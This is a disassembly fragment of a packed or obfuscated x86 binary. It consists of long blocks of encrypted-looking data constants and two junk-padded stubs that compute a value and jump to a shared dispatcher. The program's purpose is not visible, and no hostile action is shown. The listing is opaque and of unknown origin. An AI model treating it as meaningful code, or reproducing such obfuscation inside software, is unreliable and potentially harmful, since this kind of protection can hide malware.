		dd 4AE31DBAh, 0ED2A74Fh, 79436110h, 0A91C3641h,	10962CB5h
		dd 0AC8EEEDEh, 2532DF51h, 67A4FA7h, 0F6BB3D68h,	0EC048BEEh
		dd 0E67DEF02h, 0AEDF8BC5h, 559B1C1Eh, 775DAE9Eh, 0B0EDEA84h
		dd 48AB3428h, 35D015B8h, 1B091C1Ch, 506C0B42h, 5D5C89h
		dd 56260000h, 0E2B49365h, 0EC9363F5h, 568C2B47h, 1C36416Ch
		dd 24A84668h, 0DB16839Ah, 86169D59h, 1C36413Eh,	0DCEB647h
		dd 894FF9C0h, 6A7h, 46D9E300h, 47F49B5Bh, 0D044AF2Ah, 9AD445Dh
		dd 975A7FF7h, 0F76FE115h, 3BAA0FE2h, 36A3BE49h,	3301C165h
		dd 0AB487E72h, 0B7AB25D1h, 47C2712Ah, 38A5BB2Eh, 3AB937B9h
		dd 0C32EABC6h, 691C0855h, 2CB4E9F0h, 0D84CA730h, 0B6975A47h
		dd 5984452Fh, 31895000h, 0F004918Fh, 7749h, 63D8500h, 100B61BBh
		dd 47C16094h, 0A248AB2Eh, 4212B8E6h, 0E0061C36h, 18859A14h
		dd 3F174D9h, 565C8246h,	521C3641h, 3F36A84Ch, 0E67F019Ah
		dd 948C00F3h, 980DF003h, 1915A7ACh, 7EF7180h, 50003667h
		dd 555189h, 15820000h, 8E6570EBh, 5E95021Ah, 39AC14DAh
		dd 22778C2Ch, 0EF86F8FCh, 0F8A6E2EAh, 1C3594D2h, 4DD420C6h
		dd 995845DBh, 47322203h, 41F2AB2Eh, 44AF2A47h, 364211B4h
		dd 1F05181Ch, 4FFA0F3Eh, 115889h, 4A320000h, 0D6654E1Eh
		dd 0E02B2157h, 0B4AC0CB4h, 4746ED09h, 0D246AD28h, 0AC95135Eh
		dd 6157FCC0h, 2774648Fh, 0C8D54A3Dh, 0BBA1F4D3h, 0F8FB3EA8h
		dd 37975998h, 0EAF76993h, 0DA69740Ah, 890F1502h, 35A0BB45h
		dd 33BA3ABEh, 2A44ADC1h, 0A65A43ADh, 56E60D8Ah,	1300926Eh
		dd 0C4B79D7Eh, 0EA6E2FA8h, 168A6976h, 7F455B1Ah, 7B130092h
		dd 0B968B75h, 2D9E0EE5h, 1FB8B447h, 87F8C87Eh, 0EBC5D61Bh
		dd 0C30AB242h, 0A492851Bh, 1A7h, 0C39B2EE3h, 437CF10Bh
		dd 3641179Dh, 638D131Ch, 0E2AF8B5Fh, 15E11F80h,	829B2569h
		dd 9C58DC17h, 2DB1B06h,	1CD7D915h, 0A32BB4A8h, 59980119h
		dd 964A1FD7h, 89100D9Ah, 0D8556767h, 0EDD70DC1h, 0E91300A8h
		dd 0AB02FC7h, 945F78F0h, 0ECBCC5E2h, 8F6132D4h,	6079F567h
		dd 0BEDB526Ch, 90308333h, 0A7C9983h, 239110E4h,	3B37C2B2h
		dd 4DFD9Eh, 67928560h, 57h, 0C7872E28h,	4223D907h, 11971C36h
		dd 416852E2h, 81981C36h, 38E209EAh, 0E8064585h,	0D89F9709h
		dd 35F500CAh, 0FCF2F41Ch, 0D6BE5FF5h, 4F35CC13h, 0E0F9708Ah
		dd 0DC678F11h, 2BB915D5h, 1C35F4D1h, 0F4DAC3E5h, 0AA4956CAh
		dd 8F939A26h, 0DD0ACCEh, 0D901E9h, 15520000h, 552C32ADh
		dd 48AC4B5Bh, 9A32EABDh, 0F2388EEEh, 8BA53693h,	17DFFA75h
		dd 33FC689h, 0BD34BA15h, 492E6919h, 2D2CD051h, 0BEDB57C9h
		dd 9C89AE0Eh, 0E7DB76C0h, 0AAC63A0Fh, 49EFD50Bh, 0C5EB1300h
		dd 6738C82Bh, 0C913004Ah, 38AC4752h, 0C438BB24h, 44C82BACh
		dd 0DD988C99h, 11361EFFh, 8E6570EFh, 0FC70EA0Ah, 9A2DBAE3h
		dd 14B20AC2h, 5B1C3FA1h, 0FD5797Dh, 0BD4F23Dh, 3DA4B943h
		dd 598C1E85h, 5D99AC34h, 7EF201A7h, 8AFEF5E2h, 79EB0693h
		dd 83140CE5h, 14F1866Dh, 773F4520h, 4F0E985h, 0CC00C5AFh
		dd 2C9FAC16h, 0EE06A81Ch, 54785063h, 0D334746Ch, 36C86E3Bh
		dd 0D1539E3Bh, 0F96B7925h, 7150104h, 2B2BF0B7h,	0F7FF7672h
		dd 9527A749h, 73F5FC9Dh, 2E05A683h, 3F5AD39Bh, 0D5871DB1h
		dd 0A1150A75h, 0DFDC7DDh, 0F7F912FAh, 0EA86FAF9h, 26A1E1EDh
		dd 0ADB84918h, 74ECC135h, 8414DFF8h, 264ABD3Dh,	0E0FECA84h
		dd 0E1A905DAh, 3B89160Ah, 0F441B5h, 0BBE0F975h,	41B02945h
		dd 0AF4257CFh, 3BB6233Dh, 0C45B56C9h, 58961AD9h, 32220399h
		dd 17A94D37h, 5908B1Eh,	0AA5608EBh, 89C0F14Fh, 0EE43B33Dh
		dd 0E2FF7306h, 0AE2B47B9h, 35B43h, 4FAC0000h, 0B0154784h
		dd 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h
		dd 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 0EC835D2Ah, 48F5404h
		dd 24048124h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	0EAAh
		mov	[esp], edx
		push	edx
		push	2F8B7EAFh
		pop	edx
		neg	edx
		shr	edx, 6
		sub	edx, 0FA059D40h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [edx+8]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dd 3512C25Dh, 3C3994B8h, 0FFC50309h, 463633E0h,	1CAF5D41h
		dd 74576701h, 495F516Ah, 10BA365Eh, 0F8A7BC1Bh,	0AC55B84Bh
		dd 1366071Bh, 0C6283Ah,	9D01B00Fh, 5B773E74h, 0A831026Dh
		dd 85BF4020h, 7EA55C49h, 842AE75Ah, 0D929A756h,	0D62DE30Fh
		dd 61191B69h, 151FB550h, 0D299A171h, 0C6A7DB25h, 59D3397Eh
		dd 2E3D797Ch, 32D4D04Ch, 5FDC7551h, 0BC176F4Ch,	0BB123475h
		dd 1C124725h, 56E34D5Fh, 698D8D7Fh, 0E32312h, 10E810h
		dd 0CD810000h, 6B8D8548h, 9F52448Eh, 0C1C25299h, 8B66AD5Eh
		dd 890F5BFAh, 0Dh, 8E9h, 346E2C00h, 9976BCF4h, 0A5C381EBh
		dd 66000069h, 0FF2CA81h, 1A19B9h, 7E900h, 34290000h, 1CB1A629h
		dd 53338BDEh, 13E9h, 16D3AD00h,	0DCF2103h, 6B57B86Ch, 81DEEF68h
		dd 4BE5033Ah, 27C6815Fh, 0E8522DAEh, 11h, 7988A98Fh, 9B899C31h
		dd 0A6625279h, 68728E4h, 118D0FB5h, 0E9000000h,	0Ch, 0D629C4F1h
		dd 2C0D0F47h, 9BD0FF50h, 25F6815Ah, 8B4BE46Bh, 6DC681FAh
		dd 8B3598E5h, 38F56FAh,	3820F57h, 0F000000h, 815AD2B7h
		dd 0ED158CEBh, 13E828h,	0CFF00000h, 0A6840162h,	406420A6h
		dd 4F3806Eh, 28FB8F8Eh,	13E8E4h, 0F0E30000h, 3C34164Ah
		dd 0A8228547h, 0C80DF317h, 8D200594h, 585FF5D8h, 1588C381h
		dd 14E928EDh, 0FA000000h, 0A0C51A07h, 0A729079Fh, 0E485F945h
		dd 5B3B601h, 812D3E95h,	1E9h, 16850F00h, 66000000h, 0E9ED98B8h
		dd 27h,	614849D2h, 26A7348Fh, 55DBFD61h, 5810F0Ch, 0BF000000h
		dd 6A3EF101h, 0FFFF08E9h, 0E90CB9FFh, 75A810F0h, 8DA5EA37h
		dd 3C3C768Dh, 5810F09h,	66000000h, 5565F681h, 16298D89h
		dd 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 7BA643C3h, 4888C2C3h, 0F081FD76h,	62C008Ch
		dd 287D85C7h, 70640935h, 0C7F80000h, 35225585h,	9, 0D38B5000h
		dd 11B5FF5Bh, 6A09352Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0FFB9C353h,	595FFC3h
		dd 8109350Dh, 46772EC6h, 0FF006A44h, 35082995h,	0EBC08B09h
		dd 0D4193B5Eh, 51CB2B9Fh, 470ECA52h, 7CAA1DB7h,	0CFB24AC4h
		dd 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh,	0ABE8EEDAh
		dd 3577C700h, 6673B013h, 826B61CCh, 0A64F239h, 0DDD72CBAh
		dd 3D7E7D34h, 0AC35D657h, 2DC7862Bh, 3C307880h,	358CD323h
		dd 0DD598B1Ah, 5358A516h, 0DFC278C2h, 0EBC8E56Eh, 0D027FE04h
		dd 0CC9E91Bh, 0DA680000h, 0E9093C3Eh, 0FFF941E8h, 3C3FD768h
		dd 41DEE909h, 0B968FFF9h, 0E9093C41h, 0FFF941D4h, 3C42DE68h
		dd 41CAE909h, 0B68FFF9h, 0E9093C46h, 0FFF941C0h, 3C475B68h
		dd 41B6E909h, 4968FFF9h, 0E9093C48h, 0FFF941ACh, 19A3F1Dh
		dd 0A6F7E27Fh, 0FBA03D32h, 0AFECED85h, 0F4A93029h, 0A1B85227h
		dd 869D6338h, 58D68A13h, 829E623Bh, 0ECA08815h,	0FA050CB6h
		dd 0F8DB0812h, 0A0BE2B47h, 0B23CC033h, 4851CD3Fh, 60FB05A9h
		dd 0FAFA7E75h, 0DDF1EE80h, 0A64E4BE3h, 20B9B527h, 0D5C05FD1h
		dd 48AB362Bh, 866153B0h, 0D2A58FFCh, 0A45C415Eh, 0C98F0C8Dh
		dd 0B2C55C55h, 3641C6ECh, 0D21CC21Ch, 5D31D51Ch, 36417D47h
		dd 7F77791Ch, 1388110Dh, 25A96134h, 363D87Fh, 0E70A8C15h
		dd 11B7759h, 0C7AD3813h, 7C65F802h, 2375D878h, 4DF29285h
		dd 0A1000000h, 41CBAD15h, 0A69A31FEh, 18F0C34Eh, 0ED1FEEB4h
		dd 0E3D51502h, 0F4A64D48h, 7EFE68D7h, 0DB15DB37h, 69468818h
		dd 9E071300h, 0D23895B6h, 56329285h, 758248h, 84707613h
		dd 124D5h, 0BD1B100h, 0EF2B465Dh, 0EEEB827Ch, 0CE758103h
		dd 43AE2B47h, 8D4158D1h, 12E1FC73h, 75E7668Eh, 6079F0F9h
		dd 4FA2E191h, 0AEF949CDh, 36A3BE40h, 3CB739BBh,	571D54C8h
		dd 7EF8927Eh, 66F6A749h, 1C35E311h, 455643DFh, 1F129F93h
		dd 5E606C82h, 9B1DD4C1h, 8C2ED45Bh, 1BC90592h, 1C35DAB1h
		dd 60F303A5h, 93517D55h, 150300ECh, 2DDBEE0h, 0B1EFDFB7h
		dd 0BCCA927h, 5049E5DBh, 0FDD11FA1h, 6E7C17C5h,	342F8A30h
		dd 68587E1Ch, 34D2F7ABh, 57745F4Ah, 3FEB0BE5h, 9E10338Bh
		dd 205FD543h, 0FDC54558h, 5DD2F755h, 0D446AE40h, 8F420E5Dh
		dd 198A9489h, 4C72F5A9h, 5896261Dh, 35A4BD43h, 0A57DB2B1h
		dd 9E882BE9h, 0A33h, 0B1EACF6Dh, 0F6A7322Fh, 0ABF0ED82h
		dd 0FF9C3D35h, 0A4F9E079h, 3128E297h, 0F66DF3A8h, 2846BAE3h
		dd 0F26EF2ABh, 0BC10B8E5h, 0FA039C26h, 0C80B9812h, 23AB2E47h
		dd 5111125Bh, 0C43060CFh, 558B3FE7h, 1C358E6Fh,	0BBDE556Bh
		dd 0BA3AB438h, 53912C40h, 1C358E69h, 0E8B53B5Dh, 70EB1543h
		dd 12E1F875h, 194608Eh,	9AEEDEB6h, 638E0B20h, 926178F1h
		dd 7E14E00Eh, 1503718Fh, 0E581565h, 0B490277Fh,	2AC9D64Ah
		dd 7A8448A6h, 7FFEF6E3h, 0BFCFF1h, 2F159013h, 857BDF2Eh
		dd 0A88892h, 47470000h,	0D143AE2Bh, 22B24158h, 1C36464Dh
		dd 89128FA3h, 0B33E5BD7h, 9C59D28h, 364B4DBh, 15862815h
		dd 27A77F4Ah, 0CCC47079h, 4A82240Bh, 3A543E7Eh,	1884C597h
		dd 78487FC3h, 4CA8ED23h, 5D3E5BD2h, 0B9DC5769h,	0F40AB63Ah
		dd 7C574F93h, 879E10E4h, 0B3CFD212h, 630EE9A5h,	9367Bh
		dd 0E5C27000h, 0B42D40B8h, 0E3FE71E7h, 0A92E46BAh, 0E4F56CF4h
		dd 0FB8FFCB7h, 0B2267762h, 0F97F1CB9h, 5F217A67h, 0E3C5D6C3h
		dd 2CFF5ABh, 1ACB12FAh,	0AB2E47B9h, 1C859923h, 0C6A353D5h
		dd 0BBBCA0E0h, 0A50D1CF3h, 5643DF51h, 2B476645h, 5DD143AEh
		dd 1B6F5744h, 36413F85h, 41B53B1Ch, 36420DB3h, 7FF10B1Ch
		dd 0E90D8F62h, 0BDDEFB77h, 12BA273Bh, 0E6CC12B6h, 0E21C3641h
		dd 419C26BCh, 5BD41C36h, 9C62843Eh, 5BDD1485h, 8CA0149Bh
		dd 2370E013h, 0AD2A4631h, 0FA133AF0h, 9A54894Fh, 33000000h
		dd 0BC39B2Eh, 36D92D5h,	0FB708615h, 5F9113DEh, 12C20494h
		dd 22831301h, 2CB41932h, 76B39285h, 14000000h, 3641A42Bh
		dd 30E8BB1Ch, 5007069Ch, 0FBED1503h, 0F5777A67h, 47DEA2FBh
		dd 81149F52h, 935D44D9h, 365EA53Bh, 265A0BCEh, 0C67F743Ch
		dd 319D5310h, 0ED04918Fh, 2AAE8B6Bh, 0BF4CA734h, 0DCB01CF4h
		dd 7E4E4BE2h, 35B35A60h, 0AC484E1Ch, 2E1E316h, 0AEA3DB15h
		dd 48490596h, 1C11F170h, 2BC57C50h, 0B44059D5h,	0BC3D8FEh
		dd 0FF727FF1h, 0E80CE2h, 52Dh, 0D39B2E51h, 9FC2115Ah, 90D3270Dh
		dd 0E5E3935Eh, 0BC7105Ch, 9834BA34h, 273DB0Ah, 0CFFFA115h
		dd 50A4352Dh, 6B7D43D1h, 0E73E1300h, 0D3B1DCFDh, 0F6B69285h
		dd 15000004h, 0A1F41549h, 757C65F9h, 0FFC5DBF3h, 0FB1C3641h
		dd 0DD3FBF5h, 1503551Eh, 0DF8AA41Ah, 0B571A83Ah, 0AE40AAFh
		dd 0FF3B2C12h, 0C9DCACBDh, 0B111BD11h, 0B88B8344h, 0ACC739E2h
		dd 0E437CD29h, 10741327h, 0CDD8638Eh, 0F52BB915h, 96B48FEh
		dd 0E7A3E7E7h, 0B43F5AD5h, 108B230h, 21387B39h,	10E40AB8h
		dd 8815829Eh, 0A3435CD0h, 8AA01394h, 54C0AA49h,	8E000007h
		dd 0E29607ACh, 9749524Fh, 0D8A0FD98h, 92465740h, 969DFE9Bh
		dd 8D0C25E5h, 0C6D34810h, 900D23D5h, 0C0D9550Bh, 0B99F5DBh
		dd 12FA00C1h, 47A328B5h, 0B843AE2Bh, 279935EDh,	0C3678F0Ah
		dd 9EC6B707h, 0E46A6315h, 0B3D78210h, 0F3971502h, 0AC07ADh
		dd 71ED0313h, 0E9078968h
		dd 7D51570Dh, 0ABF0ED83h, 7960F903h, 806D037Dh,	5E04EFE8h
		dd 0AB7A40h, 86686E13h,	0C65A6468h, 5E961AD9h, 0ACC13BDFh
		dd 8933C135h, 871300ABh, 11E0F975h, 0F7D9678Fh,	0E1300BBh
		dd 9FEBE3BBh, 562A17DFh, 84708717h, 0CE4923EEh,	34BFE10Bh
		dd 360622A4h, 9282E31Ch, 503454B9h, 7661689h, 90BC324Eh
		dd 1C0AB145h, 0C9000000h, 0BC39B2Eh, 835850B3h,	0A64E53D5h
		dd 3539DC02h, 29AF1503h, 30E0CAh, 2E310000h, 4A93959Bh
		dd 0E31698C6h, 0B65CB519h, 1FD11FFFh, 8FB6F1AFh, 18741502h
		dd 6C408Ah, 42B23413h, 43E70A8Ch, 6C735987h, 41671300h
		dd 2B470EB5h, 51C91E80h, 11DF195Eh, 0A3C678D5h,	947E25E9h
		dd 62Fh, 0ADEECB69h, 0F2AB362Bh, 0B7E4F16Eh, 0EBB02941h
		dd 0C0DDFC75h, 6D0486F3h, 0B2A92F6Ch, 6C027627h, 0B6AA2E6Fh
		dd 10BC7429h, 0F9FFE8D2h, 0CAFDC12h, 0BC39B2Eh,	36E7ED5h
		dd 0E47A8415h, 891009F7h, 0C231B76Dh, 0D8C5D24Eh, 484C4104h
		dd 93535A32h, 35ACC13Bh, 7A42ECC1h, 93DE5183h, 65F00479h
		dd 8C527A52h, 0E6849A11h, 9E12E107h, 0BA851683h, 99737EFh
		dd 0EDB77922h, 4216A0E0h, 0F3FE9B97h, 85BA5171h, 0DBFDB343h
		dd 0B4468818h, 4707EDB7h, 0D51CBDB5h, 664EA353h, 0CE8B2865h
		dd 0A7B842B7h, 0C135B73Ah, 1391Ah, 9B2E7900h, 7ED50BC3h
		dd 7A15036Eh, 170B7D74h, 0D34F118Ah, 9A9D2BC6h,	0D732484Bh
		dd 77EB9E86h, 0B3AF316Ah, 2BD4DE04h, 0C4DAEDB8h, 0EDB82BFEh
		dd 0C8CEF4FAh, 0FA3DCB26h, 0AE0CFF61h, 5C7DF406h, 8EE31395h
		dd 425FD3A6h, 0E8BA759h, 925058E3h, 153EA43Ah, 0B43A1301h
		dd 3B7F3FE7h, 0A8777262h, 0E992CC8h, 69687656h,	4F0BCDF8h
		dd 0BC04AA49h, 0B74A631Bh, 42BC3897h, 42ECB12Eh, 0B53CA5B8h
		dd 0D549C333h, 259725CCh, 0D11C3586h, 9B39084h,	0F26C8811h
		dd 156D617Eh, 0A6084BD1h, 1AEF07D4h, 4918A34h, 98214DBCh
		dd 49AD6C20h, 6188AFBBh, 38117168h, 3C5DD534h, 538F33B5h
		dd 72588670h, 66A7E14Fh, 801EAE40h, 0A7E14F3Ah,	0B94CA82Eh
		dd 0F76932F2h, 5935E7Bh, 261CF24Fh, 2AC9CC67h, 0D51CB9B6h
		dd 6B0EF667h, 0A65143A2h, 0C8900D8Ah, 1BA84B54h, 2FCD088h
		dd 0FD7F726Fh, 557955F9h, 0ED616B79h, 53552A22h, 22ED2B91h
		dd 517B292Ah, 452A22EDh, 777F21A3h, 0EFF352E9h,	8C406622h
		dd 26BCFB72h, 210FF09Ch, 19D81698h, 608A5F97h, 50h, 811E12ACh
		dd 9B2ECE75h, 21BF0BC3h, 1C36419Bh, 41ED098Fh, 3437CA3h
		dd 836E7015h, 3D631C11h, 13013B77h, 0CE25B0AFh,	4A76784Ah
		dd 8E76F94Bh, 0D9F5FBD0h, 33200CA9h, 1F5B28Ch, 0FD13762Ch
		dd 9F97456Bh, 0CAD8F4FAh, 1300E008h, 0D6FDEAECh, 0A2BE2B47h
		dd 0B43ABE35h, 0A54D58E7h, 0ECE00E8Bh, 0D34D5AD2h, 20CC28C6h
		dd 372E782h, 0F3DBFD15h, 824A57C9h, 1020D13Ah, 589CAF1Fh
		dd 9CF3CB83h, 19FF7C4h,	0D856C82Ch, 18AB38BBh, 0A2408C40h
		dd 1300E318h, 0BE6A8A0Ch, 0CE0E3920h, 4AA92F0Bh, 35E214BAh
		dd 0C0982B1Ch, 14BD60Ch, 0EBD31503h, 1C213EE2h,	0BF758194h
		dd 844ADA19h, 451300C2h, 0DAFF7789h, 372D9517h,	2B6E92E2h
		dd 0E6CE23D3h, 852DA8E5h, 32FAC292h, 2DAC717Ch,	5236E511h
		dd 95000000h, 0BC39B2Eh, 34452D5h, 0FAF0D015h, 79436132h
		dd 6D130056h, 3537576Bh, 0DE1089A4h, 0D9566816h, 539135BCh
		dd 13006869h, 19B53B5Dh, 68418Bh, 3DB33513h, 0ACC33D91h
		dd 0A43EC231h, 1300681Eh, 0E160941Ah, 15F9h, 0B4AB5500h
		dd 0AE46CA29h, 0C39B2E0Fh, 73DAD50Bh, 983E1503h, 2B47BA59h
		dd 0D1C536AEh, 59D8E9A2h, 30271h, 0B91E3C00h, 98011CE4h
		dd 0F7E27D03h, 9D3A32A6h, 0F8E17800h, 27E398A3h, 4E128B0Eh
		dd 25DBC0D5h, 4B0D8E0Bh, 0DFD1CAD7h, 0FBCBF1AFh, 0EBF12F9h
		dd 0AE2B47ADh, 545DD143h, 9D31BFD8h, 668E0B23h,	2BE3B691h
		dd 645AFDA3h, 0A6181503h, 0B24DF8Ah, 496BE047h,	2CC84CA7h
		dd 0F3817076h, 13011FCDh, 8900C08Eh, 5382E472h,	0D6BE13E3h
		dd 85B998F5h, 4CCF92h, 15000000h, 8F6772EBh, 5ABB104h
		dd 37EC4061h, 7B4F7F71h, 0EA2B914Fh, 791F1C35h,	1B38E77Dh
		dd 1ABC1503h, 0DA8749D7h, 0B9B71300h, 50A3342Ch, 5DCF22CCh
		dd 4A4FE7C2h, 28CB25A7h, 0E3866E93h, 8C4D37AEh,	92856141h
		dd 0EF26h, 2B476500h, 58D143AEh, 223EB241h, 0F4983EB5h
		dd 364204AEh, 0FEA6FE1Ch, 9D804805h, 0FB758127h, 43217A67h
		dd 1C35B72Eh, 2C716E02h, 0AF1FB8B4h, 0B6FFC5DBh, 0D3FB1C35h
		dd 35B6A70Dh, 0F3FDA31Ch, 0A4EF7C03h, 41DEE0ECh, 0DB1B9D54h
		dd 0E2F6712Fh, 4AA1502h, 25FDC897h, 4F46FBA9h, 88380BCCh
		dd 0CAA5C95Ah, 25DB1B14h, 0B9B14B83h, 772DD120h, 1C34364Dh
		dd 0B749A749h, 54D81BBEh, 6B02FCA0h, 0B2AB2D6Eh, 0DC52BF27h
		dd 0A84BE9A4h, 1B2BEh, 694EEC00h, 28B1AC34h, 6772ED73h
		dd 2DAAC236h, 6871E870h, 77136833h, 3EC2DBFEh, 75EBB025h
		dd 3BBDDEFBh, 0EFE1BA27h, 0FABB019Fh, 1EAF12F9h, 0AB2E479Dh
		dd 0A4255B23h, 0BBEF3280h, 35B73AA7h, 9A5E3BBBh, 26F2EB86h
		dd 2FE0CE51h, 96F2DCC1h, 3542C208h, 5902B61Ch, 0BEB498A0h
		dd 801FD719h, 0BC39B2Eh, 3724AD5h, 0C928AE15h, 111953Bh
		dd 86785613h, 8709E8EDh, 1932226Fh, 928529B4h, 0ABB3h
		dd 2B471400h, 0DCF9728Ch, 3641BC06h, 0B836B81Ch, 2BAEC739h
		dd 464738C8h, 75E91C36h, 0B5A92F6Ch, 6F3AC52Ch,	0EE8917B7h
		dd 92150369h, 0E5B08F0Ch, 0FD03A12Dh, 0F10BCCCAh, 59FDFEFh
		dd 713A2890h, 0BF31ACC3h, 0F0699337h, 46DBE5E9h, 0EA14985Bh
		dd 0B98E6673h, 0A5BB2E47h, 0C937B938h, 40A44A57h, 0E9A50407h
		dd 0C4634BD6h, 0FE000000h, 0B226775Ch, 77922BFh, 0A8306D68h
		dd 27627B0h, 662D6E6Bh,	0DDFC7515h, 0B62338C0h,	0E0FD73E5h
		dd 0B02945BBh, 5B8945EBh, 12F9F971h, 47933865h,	6EF2AB2Eh
		dd 5B7EF5F2h, 77EA1498h, 3417846Ah, 43AE2B47h, 0D8545DD1h
		dd 3EB034BFh, 31D52E8Eh, 0DF666634h, 12A54217h,	1F4C923Ah
		dd 95150991h, 2841BB13h, 959042B1h, 0D46BB828h,	67E60EE0h
		dd 3B6079F5h, 23A93793h, 1712F9B3h, 0DE158CA1h,	0EE60945Ah
		dd 0E88E6572h, 7E8C1F98h, 0FBFBF29Eh, 9DC33765h, 0AB990C05h
		dd 4A534CE0h, 0F6FD9A96h, 6EDEA82h, 2CDFC516h, 82F6A730h
		dd 716801EEh, 0C2FE82h,	6EF43330h, 6650A34Dh, 3, 47844FA7h
		dd 0CF41B015h, 39AB4653h, 0C537BA27h, 54C82BAEh, 0C335BCDDh
		dd 50C42FAAh, 0C034BFD8h, 4DBF32AFh, 5D2AC9D0h,	169968h
		dd 24348900h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	5D28h
		mov	[esp], ebp
		push	eax
		mov	eax, 618A3676h
		push	ebx
		mov	ebx, 68B60B5Ch
		mov	esi, ebx
		pop	ebx
		xor	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebp+8]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		dw 449Fh
		dd 34EA91Dh, 4CB9E559h,	0B8B2A790h, 93C4932h, 0E0FFC503h
		dd 2427FFBEh, 3657FA49h, 6FBE384Ch, 27F1D80h, 3259821h
		dd 366A12EEh, 6EDE0645h, 6423A24Ah, 64767EA9h, 5420A93Dh
		dd 5E6038E8h, 3BFCE110h, 61BE1970h, 54E426AFh, 325E7791h
		dd 0E1C9BD7h, 4BD5F6A8h, 72D5C3F2h, 98AB27Dh, 36004EBh
		dd 82E9358Fh, 3A000005h, 1EE2BB18h, 53059603h, 24DCC1DCh
		dd 4E128B0Ch, 0E2D9C2D7h, 5148E1A9h, 0FA9F944Ch, 5441DFA1h
		dd 49D9147h, 0C7DDB197h, 12F9F7FDh, 0D8E2ECF9h,	199B5643h
		dd 2B4736DDh, 0DF9F43AEh, 958A3A21h, 5B67E908h,	0F4009893h
		dd 0D6F6E37Ah, 0BB3780A6h, 841000D5h, 25EDCB10h, 0D956A846h
		dd 9D6338BCh, 67D91881h, 0B123CECBh, 67CE25BCh,	0FB5EB9Fh
		dd 0B1C354Ah, 0D0C411E5h, 4950C9F3h, 0B9836679h, 0CD2944A4h
		dd 0AC2DF53h, 229A20BEh, 88E1C36h, 0A5170FECh, 64E80B8Eh
		dd 93001E90h, 829A240Ah, 9A5ADE15h, 89A10E20h, 915FE110h
		dd 6075EE62h, 4232A391h, 7F1CB9B7h, 757C65F9h, 3622E0E7h
		dd 2C18E51Ch, 0F5515727h, 98DCA8Ch, 363BF1DBh, 2DC3E51Ch
		dd 0FFE429C9h, 7983894Fh, 3F000000h, 0BE35A4BDh, 4713BA3Ah
		dd 18B802Bh, 5AA205E2h,	0E7CF5D94h, 0F01C3551h,	0F180F6C6h
		dd 0ED5F64DBh, 0FAF89FD5h, 0BF37CDDAh, 84C98272h, 0E38950BAh
		dd 1, 812A47A4h, 65DA5497h, 0ED04EA53h,	0F8FBE67Bh, 8EBEC84h
		dd 0A55044A1h, 0A28C1188h, 3612B8E6h, 0F0061C36h, 698D637Ch
		dd 0F76E7BF7h, 93041CE2h, 8912DC60h, 9A071BA5h,	0EBF9D557h
		dd 1C3635E1h, 7C23D3D5h, 48AB2E47h, 0B14059D4h,	0E5E2D243h
		dd 1C52CD9Dh, 886C39E7h, 217A1F16h, 1BD6C35Fh, 0FDEC8577h
		dd 55797762h, 355C258Fh, 777F211Ch, 846F6A05h, 775044A1h
		dd 8950E526h, 0A061h, 43612D00h, 1C356679h, 319B496Dh
		dd 251C3566h, 38556D83h, 5AFB5F92h, 47ED9460h, 35A0BB2Eh
		dd 4C923ABEh, 1C364166h, 3FB23C62h, 0AC4752CDh,	974D8145h
		dd 1C36412Dh, 0F2D0C965h, 7F1C12ECh, 1D3A2A77h,	0DF128FA3h
		dd 0E27995Dh, 0D74E128Bh, 3F8B2FC2h, 36411BA1h,	6D890F1Ch
		dd 935E7BF3h, 62910821h, 8D6471EEh, 23C6AE1Fh, 4C0DF76Eh
		dd 89500011h, 4D76h, 2E475500h,	0A85B23ABh, 0B0C0FBE0h
		dd 0B85EE511h, 885B3508h, 9363ED0Ah, 579A0719h,	857064C1h
		dd 7366FDECh, 0A9F2FC80h, 812A470Ah, 86350BFAh,	2F1FFA7h
		dd 35464B72h, 0D1C3521Ch, 50F495F8h, 8D289h, 2FC0000h
		dd 3856C69h, 0AD154CF3h, 73BBB38Ch, 9A14E008h, 0B75EA85h
		dd 6CBF07CCh, 61FD6F82h, 0AE824856h, 0BEB21C35h, 744ED221h
		dd 3757C72h, 11836E6Bh,	0FE728118h, 0FF817065h,	0C2A58F0Eh
		dd 966153C0h, 0C09FFC99h, 0A4352DF5h, 0A925CB4Dh, 2D0ECFBh
		dd 0E30E9015h, 0B2B6FD71h, 93E1E9B3h, 1AD4C15Eh, 0A14F48E4h
		dd 0EFE884FCh, 7507404h, 0E8801301h, 9D9004EFh,	757C1D14h
		dd 8FF6FDF3h, 9943260Eh, 71ED988Ch, 0F4FAE778h,	0A43D31A7h
		dd 6A47DB4Dh, 670BE6F3h, 1079339h, 8F618713h, 5A229261h
		dd 4CE3CC60h, 0A579F51h, 0C4F36F1Ah, 7F0DA08h, 0C2E41301h
		dd 1079A20h, 0C00A9813h, 0B4130107h, 0E00E9032h, 33B617BBh
		dd 1CB19285h, 0E2000001h, 0BC39B2Eh, 35F4ED5h, 0CD24CA15h
		dd 0F2DAC75Bh, 24C20896h, 7AF21301h, 0B012965Dh, 3FB2273Eh
		dd 0E6C333BDh, 12E1FE72h, 0DE15829Eh, 44371D6Eh, 3CEEAF28h
